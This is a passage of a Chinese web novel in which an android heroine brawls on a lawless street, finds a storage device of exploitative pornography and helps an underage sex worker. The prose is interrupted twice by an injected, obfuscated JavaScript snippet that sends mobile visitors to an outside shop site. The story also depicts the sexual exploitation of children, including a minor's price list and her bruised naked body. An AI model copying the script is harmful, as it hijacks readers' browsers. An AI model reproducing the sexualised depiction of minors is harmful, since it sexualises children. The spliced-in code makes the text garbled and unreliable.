大汉龇牙道:“别管闲事,老子来五回被他偷三回,今天好不容易抓到了,非让这小兔崽子长长记性不可!” 一旁,大汉的同伴比他冷静些,上下打量时却一番,目光在她的帽子上微妙停留,拉过大汉,与他耳语几句。 大汉的表情瞬时变化,活动了下手腕,恶狠狠地紧盯时却的眼睛:“这样,你配我们练练,够格的话,我就饶了这小子。” ……瞌睡送枕头,真上道啊。 时却内心小人疯狂喊耶,面上八风不动地点点头。 尽管只是实打实的第二次打架,可她的心态放得很平,这具身体简直是为战斗而生的,她不会输。 围观人群极为娴熟地后退,给三人围出近似圆形的角斗场地。不少人吹着口哨调出智能设备的投影,开始录像,动作堪称熟练。 这两名大汉一个高些,一个矮些,高个子是踢人那个。他们显然是长期的队友,彼此对视一眼,默契散开,摆出架势逼近时却。 高个子正对时却,右手握拳朝她面部打来,时却闪过,不料矮个子伺机而动,绕到她身后一扑,双手合力抱腰,将她紧紧锢在原地。 “傻了吧,哈!” 高个子狞笑跨步上前,抬臂欲再击。时却不慌不忙扭身发力,猛地肘击矮个子,坚硬的肘关节敲在其颈部上,仅一下便直接叫矮个子眼前发黑,松了手,软倒在地,动弹不得。 她往边上跨步脱身,顺势压低重心,一个扫堂腿放倒靠近的高个子,欺身上前,骑在对方上半身,哐哐就是两记右勾拳。 安完入伍新兵后,这具身体的力气极大,她特地收了劲,这才没把高个子的牙打掉。 围观者不知何时变多。时却起身缓慢环视周遭,大多人乍与她对上视线,便不自觉偏开。 “各位,没有更刺激的后续了哦。”她微笑道,其中意味不言而喻。 人群犹犹豫豫散开。 时却拍拍身上的灰,将高个大汉和矮个大汉依次拉起来,视线在二人腰间鼓囊的枪套和刀套上掠过。 这二人都和时却一样,身上冷热兵器都带着。他们都选择让这场斗殴只停留在□□对抗的阶段,这也是她为什么留手的重要原因。 “你,你很绑。”高个大汉捂着迅速肿起的半边脸颊说,伸手试图拍时却的肩膀。 矮个大汉略显紧张地压下高个大汉的爪子。他不清楚时却的性子,怕她感觉被冒犯。他偏头干呕几下,转回来道:“……闭好嘴,你现在一说话就往外喷口水。” 又转向时却,更郑重谨慎地赔罪。 时却连连摆手,直来直往说:“换谁见到嘴的鸭子要飞,不想跳起来够一手?” 见二人均露出松一口气的神情,她继续指了指帽子上绣有沈司奥名字的地方:“没有别的意思,能请二位帮忙,呃,就是宣传宣传吗?区外凶险,麻烦能少一点是一点。” 矮个大汉显然是两人中拿主意的那个,干脆道:“行。今天能碰到也是我们的运气,换成在区外,我们估计都得被你宰了。” 时却明白,有了矮个大汉的保证,再加上刚才路人拍摄的视频,出城后麻烦大概能少很多了。 打架这档子解决了,那就还剩下一件事。 她扭头去看不远处的男孩,男孩陷入休克,胸膛有微不可见的起伏,一幅进气多出气少的模样。 “有人会管他吗?” “这种小兔崽子一看就是小帮派养的扒手,放着不管也会被捡走的,”矮个大汉吐了口口水,“算了,今天卖你个面子。” 他扛起男孩走过几个路口,在一间门半掩着的小诊所前停下。前台有一男一女,他对其中的男员工道:“买十分钟治疗舱。” 十分钟治疗舱的报价是两百。矮个大汉用终端通过无线支付的方式付了钱。 这个世界的支付方式和时却上辈子差不多,分无线支付和现金,不过这里无线支付时使用的资金是绑定在居民的个人账户里的,安全性极高。所有终端的默认设置为,普通支付需强制使用虹膜解锁,大额款项支出则必须得去指定的官方机构进行。 沈司奥曾提及,就现在归时却使用而此前属于李哥的终端,在没有李哥长时间配合的情况下,他无法轻易挪出其中在李哥账户下的钱。李哥只需要再购买一个终端,重新登录账户即可。 * 诊所里分了两个大厅,分别挂着男客区和女客区的牌子。时却对大汉口中的治疗舱很感兴趣,见没人拦自己,厚着脸皮跟进男客区。 男客区里,除角落摆有张单人床,床边站着名穿白大褂的II代女性仿生人外,其余地方全用厚重的帘布隔断为数个小空间。 其中,无人使用的小空间统一有面帘子是拉开状态的,使人可以看到其内布置:一个长方形的透明舱体,舱体中灌了约三分之二的蓝色半透明液体。 毫无疑问,那透明舱体就是治疗舱了。 男员工引三人进入个没人用的小空间,完后自觉地站在小空间一步开外的地方。 高个大汉浑然不在意,对男员工道:“没事,你进来,屁大点的小崽子,哪有那么讲究。” 于是最后,变为四人都站在小空间里。矮个大汉娴熟地拉上周围帘布,脱去男孩所有的衣服,掀起治疗舱的罩盖,将男孩放入其中,浑身浸泡在蓝色液体里。 高个大汉见时却一幅新奇模样,惊讶道:“尼没见过治疗舱?” 时却重复自己那套得了辐射病,“脑子不好,经常忘东西”的借口。 两名大汉不知道脑补出了什么,一个同情地拍拍她的肩膀,一个露出很惋惜的表情。 看二人毫不质疑,接受自然的反应,时却心道,这个III型辐射病到底是什么,怎么她张口就来,谁都信呢? 男员工拉下治疗舱的罩盖,在治疗舱的嗡嗡启动声中同样也诧异地看她,遂很专业地开口介绍: “女士,治疗舱专用于促进内外伤愈合,按分钟为单位出售使用时间。如果有疾病,您可以去找我们的治疗型仿生人进行有偿诊断,就角落里那个II代,她会给您用药建议的。如果库房里正好有治疗所需的药物,她也会顺便向您售卖。” 时却抓抓头:“大家平时生病都这么处理?躺治疗舱,看仿生人医生?” “不然呢?”两名大汉异口同声道,迷惑地看着她。 “……上医院看医生?” 男员工加上两名大汉的眼神都变了,大概是那种“没想到你还是个隐形富豪”的眼神。 时却:? 男员工掏出个类似平板的东西,在上面操作一番,令治疗舱响起“已设置运行十分钟”的语音播报。 他维持着脸上敬业的微笑:“女士,真人医生很贵的,听说看一次要上万,而且只在一区到七区的医院里才能见到。” 学到了新知识的时却:…… 生怕两位付医药费的金主接下来就是一句“姐我们小看你了,不如治疗舱你自己给钱吧”,她忙低眉顺眼补救:“我脑子不好,瞎说的,瞎说的。” 三人:“……” 男员工很快回前台去了,两名大汉与男孩非亲非故,甚至男孩还是其中一人揍成这样的,自然也不打算在这守着男孩。他们和时却说了声有缘再见,便也离开诊所。 时却本来还想问他们“借”点钱,当做后续向男孩打听消息的酬金,思及对方从头到尾态度也不差,还主动把男孩的医药费交了,也就作罢,想着后面再看,实在不行就去找几个小混混敲闷棍好了。 毕竟短暂接触下来,她已然感觉出黑街应当是十三区的“民风淳朴”之地了。 她问前台拿了个小板凳坐在男孩边上,好奇地观察治疗舱内的情况。随着时间流逝,男孩身上的伤势以肉眼可见的速度消退、愈合。 十分钟到,从外表上看,男孩已然恢复了个七七八八。 治疗舱舱门打开,底托自动升起,他如同噩梦惊醒般睁眼,大口大口地呼吸,惊恐地将浑身上下摸了个遍。 时却简单解释了下情况,说罢,建议他下次还是记一记偷过的人,尤其是看起来不好惹的那种。 见男孩赤裸着身体还有些懵懵的,她也不催,抖开之前被矮个大汉团成咸菜的男孩衣物,递给男孩。 那身衣物洗得发白,补丁到处都是,且不知是不是被泼了酒后又没洗干净,一身酒味。 男孩抱着衣服呆愣数秒,终于回神,豆大的泪珠夺眶而出。时却托腮安静地看他哭了两三分钟,才翻出治疗舱。治疗舱里的蓝色溶液也不知道是什么成分,半点没在他身体上留下湿痕。 男孩一落地,穿好衣服,二话不说,就跪下砰砰磕头。 时却刚想说,我也不是啥见义勇为的纯好人,要不你拿劳动换报酬我们各取所需怎么样,还没来得及开口,男孩期期艾艾地,从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959997|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣服兜里摸出两颗草莓硬糖。 那两颗糖也不知道被他带在身上多久了,有些化,部分粘连在一起。 男孩的小脸微微皱起,看上去不太舍得,纠结一番,还是抠出其中一颗,又摸出个还有个正面贴有编号“0”的粉色纽扣,将其连带那颗草莓硬糖都硬塞给她,说是浑身上下只有这些是好东西了,应该能卖点钱,完后攥着手心里剩下那颗草莓硬糖,撒腿就跑。 这会,男员工正推着个坐轮椅的断腿老爷子走进来,男孩身形小,灵活地绕了过去,时却就麻爪了,她一个大块头,在这定点大的地方动作起来容易要撞飞男员工和老爷子,只能眼睁睁看着男孩一溜烟跑没影。 等到男员工安置完老爷子,时却拉住他,略带迷茫地问:“那小孩也跑太快了吧?怎么回事,我又不是揍他的人。” 男员工司空见惯道:“估计今天的指标还没偷完,再不抓紧偷,晚上回去了也是一顿毒打。” 他的口气自然又随意,仿佛这是再正常不过的事情,叫时却想起老金话中“半大孩子更难讨生活”的说辞。 ……看来十三区不止警察派不上什么用场,未成年人保护法也不是很能打。如果这个世界还有未成年人保护法的话。 不过老金用的说辞是“更”,也许十三区,或者说这个世界的普通人也很难讨生活。 ……算了,这都不是当下该仔细思考的事情。 时却扬了扬手里的粉色纽扣,不觉得这会是什么稀罕东西,随口问:“那孩子给了我这个,你认识吗?” 男员工眼睛一亮,做贼般拉时却到个角落里,小声道:“这可是好玩意,我的天,他哪里偷来的,估计真的很想谢谢你了。我给你看看这是什么,你不要的话,就卖给我。” 他把粉色纽扣放在自己的手表型终端附近,打开终端,用类似蓝牙连接的方式连上了那个粉色纽扣。 时却:……懂了,这是个U盘。 粉色纽扣是加密的,跳出来个密码验证窗口。 男员工搓搓手,见状反而更加兴奋,在全息键盘上一顿噼里啪啦,调出个密码破解软件,没几秒钟就破解了粉色纽扣的密码。 他哐哐直拍时却肩膀:“大姐,牛逼啊!” 时却:?? 从她眼中读出“软件牛逼,管我什么事”的讯息,男员工惊诧地指指她的帽子:“这是沈司奥做的啊,你不知道?” ……现在知道了。沈司奥的业务范围真广。 男员工输入密码,进入粉色纽扣,里面存的密密麻麻都是色.情.片,A.V和G.V都有,甚至还有以未成年少男少女为对象的。这些片子的共同特征是,封面上的承受方都没露脸。 男员工点开最新拍摄的片子,其摄于昨天凌晨。 全息屏幕跳出视频播放画面,一名看上去只有十三四岁的少女,惊恐地被三个戴黑色头套的男人包围。 在画面边缘,隐约可见少女露出尖瘦的下巴,上面有一点红痣。 时却没兴趣看这种东西,手压在男员工肩膀上:“关掉。” “什么,这——” “关掉。”她皱眉,沉声重复道。男员工觑她神色,感到肩上压力逐渐增大,头皮一紧,忙不迭照做。 “你对这个还有没有其他了解?” “我听说哈,最近有人专卖这种不露脸的片子,”男员工咽了咽口水,“他们更新快,花样多,专用这种粉色纽扣作为储存片子的硬盘。那小子能偷到这个,也挺厉害的。” ……就拍片团伙的毛片啊。 时却对此没什么深究的兴趣,只感到有点恶心,打算回头叫沈司奥把里边的片子清掉,留粉色纽扣当U盘用。 她离开诊所,走出几步,想了想,保险起见,还是用终端把粉色纽扣的事情给沈司奥说了。 沈司奥的回复很快传来: [我问了人,最近一批出售的粉色纽扣里都没有最新的那个视频,你手中的那个硬盘应该是那团伙的母盘。既然里面最新的视频是他们刚拍不久的,可能还没来得及备份。 如果是这样,那个硬盘里不仅会安定位装置,还很快会有人找上你。马上去“五金杂货”,老金会替你把定位装置拆了。拆了之后,该做什么做什么就行。] 时却立即照做。 沈司奥提前知会了老金,她一进门,老金立即使唤仿生人关门,将粉色纽扣大卸八块,拆出个仅有小指指甲盖二分之一大小的圆形铁片,鼓捣半天后,连带粉色纽扣一起交还时却。 时却拈起圆形铁片看了半天也没看出什么名堂,“这就是那个定位装置?” “对,顺手给你重置了,这样你还能再重复利用一次,”老金抬手擦了擦汗,“要我教你怎么把它和终端连起来吗?还是回去后你再找沈司奥?” 时却对沈司奥又没什么特殊的雏鸟情节,自然做出成年人的选择——立刻就要。 再次离开五金杂货,她边往摩托停放的方向走,边打开终端给沈司奥发消息: [这两天,能否请你的商铺朋友们留意下那个男孩?] 隔了半晌,沈司奥回复:[你要管?] 时却懒散地倚在摩托上,眼睛一撇,看向后视镜中。镜外镜内两个她对视,如同上辈子的社畜与当下的仿生人遥遥相望。 如果上辈子的记忆是假的,她今后该成为一个怎样的人? 冷冽冬日的丝毫没有给人温度的阳光里,高大的仿生人长长地呼出一口热气,盯着那点无疑叫自身拟人程度更上一层楼的热气飞快消失,对着刚形成暂时合作关系的同伴,慢吞吞地回复道: [不知道,看情况吧。] 11. 少女 总之,时却“找个小孩聊天”的策略,首次执行就这么失败了,只得先继续黑街的购物之行。 大概得了老金通风报信,接下来无论去哪个商铺,时却见到的都是热情洋溢的面孔。 黑街的消息传得还比想象中来得快许多。托当街打架的福,加上黑街“民风淳朴”,如今又是特殊时期,大马路上甚至不时有人迎面拦下她,七拐八弯地问,要不要和沈司奥拆伙,改和他们组队算了。 伸手不打笑脸人,时却好声好气地一一拒绝。 从最后一家店出来,她没立刻离开黑街,而是疯狂压马路,钻黑暗小巷,企图劫流氓济自己,再找个便宜好用的半大小孩交易,为十三区GDP做贡献。 功夫不负有心人,她从一条小巷钻出,就听到邻近巷内传来隐约的尖叫和咒骂声。 原以为是喝醉的混混在对少女动手动脚,她探头探脑观察一番后,发现并不是这么回事,事情好像属于嫖资纠纷。 “给钱,今天你必须把钱给了!”一名少女尖利地叫道。 她穿件带皮带的黑色连衣毛裙,虽然是毛裙,但竟为露肩款短款,基本上也就挡挡重点部位,两条血迹斑斑的腿大半裸露在外,冻得青紫。 少女半边脸红肿着,涂得鲜红的指甲狠狠掐入混混的胳膊,下巴上一点红痣随主人的动作摇来晃去。 混混打了个酒嗝,反手将少女推倒在地,上脚狠揣其腹部两脚,大着舌头道:“X的,别、别敬酒不吃吃罚酒啊,表子!” 少女右手捂住腹部干呕几声,左手撑地。她细白的左手腕上带了串手链,手链上串有金属片,上面写有粉色的字。离得太远了,时却看不清那字具体是什么。 只见混混啐少女一口,作势要走,少女挣扎爬起身,奋力扒住混混的脚腕。 “你们好几个人,只给了一份钱,还……总之,把钱补了!” 混混不耐烦地踢开少女,弯腰抓过少女的长发提起她,铮一声抽出把雪亮的小刀紧贴其脸颊。 站在巷口的时却见状心知时间到了,直接朝天鸣枪。 砰! 混混一激灵,酒直接醒了大半,慌忙丢开少女:“谁?!” “打劫,不交钱就让你吃枪子。” 时却放平持枪的手臂,瞄准他的头。 * 那混混识时务的速度让人叹为观止。 他立即蹲下,手上利索地往外丢钱包、小刀、智能终端等值钱的物件,时不时从下往上小心翼翼地抬眼瞧时却,再缓慢站起,从脚拍到上身以示清白,点头哈腰地问是否能走了。 时却示意他后退几步,上前。随着与混混的距离拉近,她闻到空气中弥散着一股不好闻却又有些熟悉的酒味。 ……这么巧? 她翻出钱包里的现金,捡起小刀查看,那上面都用出豁口来了。 这混混怕是个三流货色,怪不得一吓就软脚,抵抗都不抵抗的,这么配合。 选了空钱包里一个一看就不经常使用的紧实侧袋,时却隐晦地摸出从粉色纽扣上拆下的定位器,塞进去。 她把空钱包和小刀踢向混混,摆摆手,示意对方可以滚了。 混混捡起空钱包和小刀,干脆利落地转身就跑。 少女扶墙站起身,眼里含泪,抖如筛糠。“你不该放他走,他记住你了,后面还会找你麻烦。” 结合粉色纽扣中的内容,时却看一眼少女,视线转到少女左手腕上,看清了上面的内容。 是“流萤”二字。 收回视线,她给沈司奥发消息:[碰到了那个团伙的成员,往他身上丢了定位器,现在报案,有人管不?] 沈司奥回:[警局也忙着搬迁,八成没有精力处理。试一试吗?试的话定位权限共享给我,帮你弄。] 时却回他个“试”,将定位权限共享了。她给混混唯一剩下的终端拍了张照,将照片传过去,问:[打劫到的,拿了有风险不?] 沈司奥这回先发了个“怎么又是你”的猫猫无语表情包。 [卖掉到五金杂货去。] 把猫猫表情包顺手存下,回了个ok,时却看向少女。 “他欠你钱?” “对,”少女咬唇,怯怯道,“姐姐,他欠我钱。你能……把那些现金分我点吗?” 说这话时是低着头的,讲完后飞快地抬头仰视时却一眼,被烫到似的又迅速垂眼。 说实话,这番做派真是楚楚可怜……才怪,这姑娘好像忘了件重要的事情。 一个几分钟前,还豁出去了般和混混可直可直硬刚的姑娘,换了个说话对象,就变成小可怜? 时却摸摸头:“妹妹,鼻青脸肿的,要不咱先别挤眉弄眼了?” 少女肿胀的脸扭曲一瞬,身体不像之前那样抖得夸张,偏头吐出口混杂血丝的口水,哆嗦着挺直腰杆,提高声音:“这钱本来有一份就是我的!” 怕人跑了似的,她双手扶墙,踉跄挪动靠近。 混混的殴打是实打实的。少女很瘦弱,年龄可能在十二到十四之间,看上去几乎要昏过去了,瞪圆了眼睛警惕地盯着时却,像只不服输又倔强的小兽。 时却举起双手退后一步。“没说不分你,不是你拖住,我也碰不到他。这些东西除了会分给你外,我还想再与你做个交易。” 少女神情松动,哑声道:“走公,两百一次一人,用道具或者不带套加十五,走私的话,都翻倍。” 时却一愣,反应过来她竟是在报价,摇摇头,抽出两百。“不是那种事,呃,但我是诚心的,这是定金。” 想了想,觉得也不能叫少女拖着这样的身体给她科普,又说:“为显示诚意,带你去诊所躺会,我请,可以吗?” 见她的确没什么恶意,少女敛下刺猬般的态度,收好钱,迟疑地点点头。 “我抱你过去?” 少女摆摆手示意不用,于是二人变成时却在前头走,少女跟在后面。 顾忌人受了伤,时却的速度放得很慢,竖起耳朵留意身后动静,每察觉少女呼吸明显加重,便停下脚步,等对方缓些了再重新抬腿。 不长的小巷愣是让两人走上了好几分钟。 等出了小巷,走到较宽敞明亮的黑街主干道上,时却感到一阵不大不小的牵拉力。似老鹰抓小鸡中躲在母鸡后的小鸡,少女主动扯住了她的衣摆。 很快,时却就知道她这样做是为什么了—— 自己身边跟着一个衣衫不整、浑身是伤的未成年,竟然也没人上前问询。 大部分路人往她们投来目光,多是或下流或习以为常地在两人之间来回打量;少部分路人的视线才含有些唏嘘和怜悯。 少女牵着自己,是娴熟地向周围的人示意她有主,并非孤身一人。 到了之前的诊所,见诊所前台还是坐着之前一男一女两个员工,时却想想,精打细算地问女员工,少女这个情况建议用多久治疗舱。 可能是此前算不欢而散,男员工唯唯诺诺,不敢仔细打量时却和她身边的少女,反倒没认出少女,省了时却不少麻烦。 女员工叫来治疗型仿生人。 治疗型仿生人伸出手指,指尖变为针头状,采了一点少女的血,给出的结果是建议躺二十五分钟。 那就是五百块了。 时却不明所以,不知道为什么明明少女的伤势不重,至少比之前的男孩轻,可要躺的时间却比男孩要久那么多。 正想问问女员工,她瞥见旁边的少女紧绷着脸,放于身侧的手紧攥,察觉此事有隐情,改变主意,乖乖付钱。 女员工带她和少女到女客区,选了个远离其他人的角落。 时却待少女走到治疗舱边上,自觉和女员工一块站在帘子外,给少女拉帘子。帘子拉到一半,被讶异的女员工制止。 “女士,她是III型辐射病的患者,您和她一块来的,就得进去呀。这是规定,您不知道么?” III型辐射病?那不就是沈司奥让她说自己患有的病? ……少女看着也不是脑子不好的类型啊? 时却满脑袋问号,才要仔细询问,帘子后传来少女的声音:“姐,你进来。” 她钻进帘后,少女熟门熟路地在治疗舱的尾部按下个不起眼的按钮,嗤一声,那处滑出个置衣篓。 “正规的医疗机构都有这个规定,你不知道?”少女毫不避讳地脱下裙子和手链,随意一团塞进置衣篓里中,推其归位。 时却早在少女有脱衣动作时就背过身,闻言咳嗽两下:“我也是III型辐射病患者……” 她有点心虚地把自己脑子不好那套讲了一遍,直接道:“反正我不记得诊所里有这样的规定了。” 少女抽着冷气慢吞吞爬进治疗舱中,闻言沉默几秒,吸了吸鼻子,说:“所以,刚才你不是心疼治疗费,而是不知道为什么治疗费这么贵?” ……其实也是心疼的。 时却含糊嗯了一声,想验证心中关于“III型辐射病”的猜测,问:“那你也会经常忘事吗?” 在时却背后,少女古怪地看了看她,神情舒缓许多,言简意赅道:“III型辐射病只是个统称。我的主要病症和脑子没关系。” 果然,时却想,III型辐射病是属于症状会有很多种类型的疾病,所以沈司奥给她掰扯了个脑子不好的设定,让她放心大胆随意往外讲。 少女躺入蓝色溶液中,拉下治疗舱的罩子。 不知道是何原理,在蓝色溶液中,她发声自如,声音传出:“我们这种人,受外伤时更容易发生脏器损伤。” 这是在解释为什么自己需要泡较长时间的治疗舱。 “是这样吗?”时却摸摸头,绞尽脑汁圆谎,“我不太受伤,呃,也可能是受伤后就忘了。” 少女沉默半响,道:“我叫流萤,姐,你想谈什么交易?” “不急,等你好了再说,”时却道,“我先去把那混混的终端处理了。” 喊外头的女员工启动治疗舱后,她快步去了趟“五金杂货”。 再回来,她熟练地又问前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12959998|136769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 台要了个小板凳,特意选了个没人路过的时机,倒退进流萤所在的隔断空间里。 身后传来声音:“姐,你转过来吧,都是女的,有什么所谓。” 时却心道,你之前可还给我报价呢。不过正主都这么说了,她也不推脱,转身坐下。 浸泡在蓝色溶液中的少女的胴体展露在她眼前,青涩而稚嫩。 虽经过一段时间的治疗,流萤身上还是存在很多青紫痕迹,多集中在胸部与□□附近。这些痕迹明显不是出自方才的混混之手。 * 时却看着流萤时,流萤也在观察时却。 这位看上去就不好惹的战士神色淡淡的,作打量的动作,却没因为看到自己的身体情况而有明显的情绪波动。 无论是负面的鄙夷或狎昵,中性的震惊,正面的怜悯,统统都没有。 ……这让流萤无法对她做出准确的评价。 刚开始,她笃定对方是个难得一遇,且有能力自保的好人。 毕竟在黑街,除了警察,谁拔枪不是冲着致人死地去的。鸣枪示警属于无力的恫吓,传达出的意愿是持枪者希望尽量别伤人。 再往后,时却不吃她装可怜那套,甚至直白拆穿,她又觉得对方是好人的更优版本,还是好人,不过是长脑子的那种。 ……随后又发生了她不愿意和对方接触,跟在后面慢吞吞走的事情,于是评价再修订:有分寸且长脑子的好人,虽然定语变长了,但被修饰语还是好人。 总的来说,抛去道破装可怜的事情,眼前这位的所有举动都可被归为:是个好人在做慈善。 可好人会看到她这身伤痕,仍无动于衷吗? 更悲哀的是,流萤感到自己为这样的态度松了好大一口气。 时却对流萤百转千回的脑内活动一无所知,掏出卖终端得来的钱,和其钱包里的现金混在一起,坐在罩子外数起来。 “那混混欠你多少?” 流萤报出个数字。 其实,根据粉色纽扣中的最新视频的情况,结合流萤此前说过的“私活”价位,时却预先算出了一个价格区间。 而现在,流萤报出的数字正落在那价格区间内。 所以,粉色纽扣中的视频内容估计是流萤昨天去接的私活了,她应该是受骗了,与她交易的人对她说实话,她自己也不知道要面对这么多人。 巷子里那个混混没出现在视频中,不过八成是那拍片团伙中的人。 数出流萤应得的钱,时却把剩下的钱三七分了,其中三成再加进去,道:“分赃时间。你拖住的那个混混,所以这是你的报酬。稍后我们要谈的交易,钱另算。” 说罢,按出置衣篓,将钱丢进去,再抬头,见流萤将手和鼻子贴在治疗舱的玻璃罩子上,侧过身来,眼睛一眨不眨地看自己,神色复杂。 ……妹妹,你变猪鼻子了喂。 流萤见她望过来,忙扯嘴唇,仓促之下,笑得假得很,因躺在蓝色溶液中,甚至带出几分狰狞的可怖感。 时却:? 她捏捏眉心,没有和流萤这样的孩子相处的经验,索性直接点明需求,说自己在他人那听到了些常识,不过出于谨慎,想找人再聊聊那些东西。 恰好此时,治疗舱的计时满二十五分钟,舱门打开,底托升起。 流萤出治疗舱,穿好衣服,捏捏手里一卷不薄的现金,忽然道:“时姐,这里也不好聊天,去我那里聊,可以吗?” “你工作的地方?” “不不,”流萤忙摆手,“就是……我住的地方,离这里不远。” 时却无所谓。沈司奥没给采购活动下限时通知,还说祝她探索顺利,他不急,她自然更不急。 二人离开黑街。在流萤的指引下,时却于数栋挨挨挤挤的大厦前刹车。 打开终端,时却调出地图,地图统称这里叫“解压好去处”。 ……说委婉也委婉,说直白也直白。 在解压好去处,每栋大厦的不同楼层外,均凹凸不一地设有诸如“2F-粉色女仆屋”、“16F-奇趣泡泡浴”等显眼招牌,各个出入口处都有不少人神色暧昧地搂着衣着暴露的男女进出。 流萤带着时却步行,绕到大厦后侧一栋不起眼的老旧居民楼前。 带刷卡器的楼道门紧闭,流萤举起左手,在带有自己名字的手链在上面刷了一下。楼道门应声打开,门后是狭窄昏暗的楼梯。 爬了几层楼梯,时却发现这里每层楼只有两到四户,且每户的门牌上写的不是几零几,而是“百合”、“细雨”等如流萤那样的花名。 ……这儿是解压好去处的性工作者们住的地方。 写有“流萤”二字的房间很快出现眼前。门刚打开,一只黑色德牧汪汪叫着从玄关的地毯上站起,尾巴狂甩,兴奋地围着流萤不停地转圈。 流萤蹲下身,摸摸它的头:“奇奇,坐。” 德牧响亮地汪一声以作应答,乖乖坐好。动作间,它的关节连接处发出不自然的涩滞声响,如同疏于上油的机械。 12. 辐射 流萤的房间是个一室零厅的单人公寓,尽头有扇大落地窗,从窗外可见周遭楼宇。冬日阳光透过落地窗照进室内的床上,让人看着就觉得暖和。 室内,衣物被主人随地乱扔,沙发一角堆满包装花哨的零食,洗手水池里散落着待洗的碗筷。 流萤弯腰揪德牧的耳朵:“奇奇,你又忘记打扫卫生了。” 奇奇歪头舔舔流萤的脸,叼起最近的牛仔裤甩到沙发上,再摇着尾巴去叼其他散落的衣物,俨然只后知后觉的田螺狗狗。 突然,楼道里传来有人走来的声音,听起来目标明确。 房门被敲响。 “姐,你回来了吗?怎么早上也不回我消息,”一个声音阴柔的男孩道,“老板临时通知换护身符了,这批就是最后一批,来的数量还不多,错过的话,咱们就得去定点贴钱自己换了。” 流萤看向时却,时却道:“你去吧,不急。” “谢谢,”流萤摸了下腕上的手链,“冰箱里和沙发上都有吃的,你随意。” 流萤出门时,男孩还没走,看到屋内的时却,眼睛一亮。 他开朗地笑了,露出八颗白牙,热情地挥手:“姐姐,我是细雨,和流萤同在奇趣泡泡浴里工作的,有兴趣的话也来找我呀,我不贵的,走公只要一百五,私活只要三百五。” “这位客人不好你这口。走走走!”流萤推搡他离开。 二人絮叨的聊天声逐渐远去: “姐,你去哪了……” “你别管,没什么事……” * 时却在零食堆与奇奇用来放衣物的角落之间坐下。沙发下陷,几袋膨化食品滚到怀里,她挨个捏起来看外包装。 薯片(四级)、雪饼(四级)、爆米花(四级)。 把所有零食一一看了个遍,时却又去开冰箱,发现和之前在李哥那见到的食物一样,只要有贴标签的食物,用的都是商品名+级别的命名方式。 流萤这的食物,绝大多数都是四级品,偶有还带售价的三级品,均比四级品贵上许多。 她心中隐约有个猜测,打算等流萤回来后再验证。 奇奇友善且自来熟,捡完衣服后就哈赤哈赤跑到时却面前翻肚皮,哼哼唧唧地撒娇。 时却撸它几下,奇奇更加兴奋,尾巴快要摇出残影,上蹿下跳地快乐叫着,头伸进床下,叼出个绳结玩具吐到时却脚边,要玩拔河。 绳结玩具被奇奇拖出来时,从床底带出了本巴掌大小的册子。那册子的脊处是用棉线缝起来的,走势歪七扭八,不像流水线生产出来的印刷制品,更像私人打印后装订而成的。 时却第一次见这个世界的书籍,摸摸奇奇的脑袋叫它稍等,捡起册子。 册子的封面是一对校服装男女,二人头顶上是四个大字——《校霸爱上我》。 翻开,是本言情小说。 女主六岁那年,其父亲患上I型辐射病,从患病到死亡只用了一个月,去世前夜明明还活着,整个人却肉眼可见地往巨人观的形貌变化。他躺在床上受活生生地受着这折磨,哀嚎呻吟一整夜,直到晨曦时分才痛苦地死去。 祸不单行,埋葬父亲不过两个月,女主的母亲患上II型辐射病,浑身多个器官迅速衰竭,于三个月后去世, 由于还未成年,女主被相关部门送入直属管理局的特殊工厂当童工,工厂会为她提供基础吃喝住和微薄的报酬。 根据年龄的不同,童工们的每天的工作时间在两到六小时之间,剩余时间则用来上学,接受为期十年基础教育,这个基础教育属于义务教育,无需童工们付钱。一般,根据工作时间的长短,童工们的月收入在200-600之间不等。 女主熬到基础教育结束,成了年,犹豫一番后,选择继续深造,并在专精教育和高等教育中选择了学年制更短的专精教育。她通过了专精教育的入学考,被一间拥有专精教育资质的学校录取,专业方向为仿生人制造。 看到这里,时却隐隐有点激动。 文艺作品总能在一定程度上反映现实。小说里介绍女主的身世背景和童年经历时,对辐射病、特殊工厂以及女主升学经历的相关描写,用的都是极为司空见惯的口吻,这说明什么? 这些描述很大概率并非虚构,而是现实世界里真实存在的。 她迫不及待看下去。 女主入学后,作者没再花心思在社会背景上进行过多描写,而是图穷匕见,很老套地写女主碰到了家境殷实且桀骜不驯的男主,两人成为欢喜冤家。 经历一些无关痛痒的误会后,男主对女主表了白。随后,经典桥段出现,男主的父母瞧不起女主,认为她是个贫穷的孤儿,配不上男主,要棒打鸳鸯。 正胶着时,男主的父亲突然被查出患上II型辐射病,体内有器官发生衰竭,好在这迅速衰竭的器官目前只有一个,肾。 男主家疯狂地寻找能适配男主父亲的肾源,最后发现,没错,当下能与男主父亲配型成功,且短时间内具备手术条件的人竟然只找到了一个——那就是女主。 ……什么玩意?! 时却瞧到这里,一个不察被口水呛到,狂咳数下,露出一言难尽的表情。 继续翻页。 想当然地,善良的女主含泪答应为男主父亲捐肾,手术很成功,男主父母深受感动,出于报恩,欣然同意二人在一起。于是,Happyending。 册子的最后一页写,在男主家人的祝福下,女主带着手术的伤疤同男主走入婚姻的殿堂。 时却:“……” 哈? 她抹了把脸,按住狂抽的嘴角,一时半会竟没法组织语言,对这邪典的剧情进行精准吐槽。 